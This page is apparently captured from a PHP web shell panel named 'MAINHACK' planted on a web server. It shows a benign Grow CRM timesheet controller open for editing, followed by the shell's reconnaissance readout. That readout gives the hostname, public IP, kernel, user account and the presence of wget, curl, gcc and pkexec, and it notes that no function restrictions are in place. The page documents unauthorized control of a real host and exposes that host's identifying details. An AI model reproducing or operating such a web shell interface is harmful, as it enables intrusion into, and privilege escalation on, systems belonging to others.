[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Timesheets.php
<?php /** -------------------------------------------------------------------------------- * This controller manages all the business logic for template * * @package Grow CRM * @author NextLoop *----------------------------------------------------------------------------------*/ namespace App\Http\Controllers\Reports; use App\Http\Controllers\Controller; use App\Http\Responses\Reports\Timesheets\ClientResponse; use App\Http\Responses\Reports\Timesheets\TeamResponse; use App\Http\Responses\Reports\Timesheets\ProjectResponse; use App\Repositories\Reports\TimesheetReportRepository; class Timesheets extends Controller { /** * The reportrepo repository instance. */ protected $reportrepo; public function __construct(TimesheetReportRepository $reportrepo) { //parent parent::__construct(); //authenticated $this->middleware('auth'); //route middleware $this->middleware('reportsMiddlewareShow')->only([ 'team', ]); $this->reportrepo = $reportrepo; } /** * grouped by client * @return \Illuminate\Http\Response */ public function team() { //default search values if (!request()->isMethod('post')) { request()->merge([ 'page_limit' => 25, ]); } //search $timesheets = $this->reportrepo->getTeam(); //get totals $totals = [ 'sum_hours' => $this->reportrepo->getTeam(null, ['totals' => 'sum_hours']), 'sum_not_invoiced' => $this->reportrepo->getTeam(null, ['totals' => 'sum_not_invoiced']), 'sum_invoiced' => $this->reportrepo->getTeam(null, ['totals' => 'sum_invoiced']), ]; //reponse payload $payload = [ 'timesheets' => $timesheets, 'page' => $this->pageSettings('team'), 'totals' => $totals, ]; //process reponse return new TeamResponse($payload); } /** * grouped by client * @return \Illuminate\Http\Response */ public function client() { //default search values if (!request()->isMethod('post')) { request()->merge([ 'page_limit' => 25, ]); } //search $timesheets = $this->reportrepo->getClient(); //get totals $totals = [ 'sum_hours' => $this->reportrepo->getClient(null, ['totals' => 'sum_hours']), 'sum_not_invoiced' => $this->reportrepo->getClient(null, ['totals' => 'sum_not_invoiced']), 'sum_invoiced' => $this->reportrepo->getClient(null, ['totals' => 'sum_invoiced']), ]; //reponse payload $payload = [ 'timesheets' => $timesheets, 'page' => $this->pageSettings('client'), 'totals' => $totals, ]; //process reponse return new ClientResponse($payload); } /** * grouped by client * @return \Illuminate\Http\Response */ public function project() { //default search values if (!request()->isMethod('post')) { request()->merge([ 'page_limit' => 25, ]); } //search $timesheets = $this->reportrepo->getProject(); //get totals $totals = [ 'sum_hours' => $this->reportrepo->getProject(null, ['totals' => 'sum_hours']), 'sum_not_invoiced' => $this->reportrepo->getProject(null, ['totals' => 'sum_not_invoiced']), 'sum_invoiced' => $this->reportrepo->getProject(null, ['totals' => 'sum_invoiced']), ]; //reponse payload $payload = [ 'timesheets' => $timesheets, 'page' => $this->pageSettings('project'), 'totals' => $totals, ]; //process reponse return new ProjectResponse($payload); } /** * basic page setting for this section of the app * @param string $section page section (optional) * @param array $data any other data (optional) * @return array */ private function pageSettings($section = '', $data = []) { $page = []; //client if ($section == 'client') { $page += [ 'breadcrumbs-heading' => __('lang.time_sheets'), 'breadcrumbs-sub-heading' => __('lang.client'), ]; } //project if ($section == 'project') { $page += [ 'breadcrumbs-heading' => __('lang.time_sheets'), 'breadcrumbs-sub-heading' => __('lang.project'), ]; } //project_category if ($section == 'team') { $page += [ 'breadcrumbs-heading' => __('lang.time_sheets'), 'breadcrumbs-sub-heading' => __('lang.team_members'), ]; } //return return $page; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002